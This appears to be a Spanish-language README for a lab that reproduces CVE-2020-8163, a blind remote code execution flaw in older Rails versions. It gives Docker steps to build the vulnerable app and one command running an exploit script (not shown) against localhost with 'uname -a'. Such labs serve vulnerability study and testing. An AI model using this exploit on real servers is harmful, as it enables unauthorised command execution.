CVE-2020-8163

Entorno y exploit para CVE-2020-8163 Ejecución remota ciega de código de nombres locales proporcionados por el usuario en Rails < 5.0.1 y < 4.2.11.2

Crear el entorno

1. crear contenedor docker mapeando el puerto 4000 al 8001

sudo docker run --rm -it -p 8001:4000 ruby:2.3 bash

2. actualizar e instalar algunas herramientas en el contenedor

apt update && apt install unzip libz-dev libiconv-hook1 libiconv-hook-dev net-tools nodejs -y

3. obtener id del contenedor

sudo docker ps

4. comprimir y copiar la aplicación al contenedor docker

zip -r test_cve-2020-8163.zip test_cve-2020-8163/
sudo docker cp test_cve-2020-8163.zip id_container:/opt/

5. descomprimir y ejecutar bundle en la aplicación

cd opt 
unzip testapp.zip
cd test_cve-2020-8163
bundle

6. iniciar el servidor

bundle exec rails s -p 4000 -b '0.0.0.0'

7. si no queremos repetir todo el proceso, hacemos un docker commit

sudo docker commit id_container name_of_commit

Explotación

1. ejecutar el exploit

ruby exploit.rb http://localhost:8001/main/index "uname -a"

2. Ver el registro para observar la salida